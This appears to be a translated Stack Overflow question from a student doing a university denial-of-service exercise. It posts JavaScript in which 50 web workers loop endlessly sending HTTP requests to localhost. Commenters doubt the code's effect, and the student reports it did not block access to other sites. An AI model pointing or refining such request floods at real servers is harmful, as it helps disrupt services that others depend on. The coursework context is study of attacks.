【发布时间】:2017-08-26 13:14:36
【问题描述】:
在大学里,我们做了一项“家庭作业”来尝试执行拒绝服务攻击。我决定采取与其他人不同的方式。我尝试使用 JavaScript 执行它。
问题是:
- 这甚至可能吗?
- 如果我在环回上执行 HttpRequest,我会看到由于 http 端口溢出导致任何网站无法访问的结果吗?
- 有没有比我更好的代码来做到这一点?
index.html:
<script>
for(var i = 0; i< 50; i++) {
worker = new Worker("worker.js");
worker.postMessage('Hello World');
}
</script>
worker.js:
self.addEventListener('message', function(e) {
while(1) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
}
}, false);
感谢您的任何意见!
【问题讨论】:
-
我不确定,但这比远程服务器更可能导致您自己的计算机崩溃(如果您选择 localhost 以外的服务器)
while(1) -
当您运行显示的代码时发生了什么?
while(1)的浏览器很酷吗? -
@nnnnnn 浏览器似乎很好,因为网络工作者在幕后完成了所有工作。在开发人员工具中,您可以清楚地看到正在发送请求,但是我可以毫无问题地访问任何我想要的网站。
-
这属于 codereview.stackexchange.com 或 security.stackexchange.com。
标签: javascript xmlhttprequest web-worker denial-of-service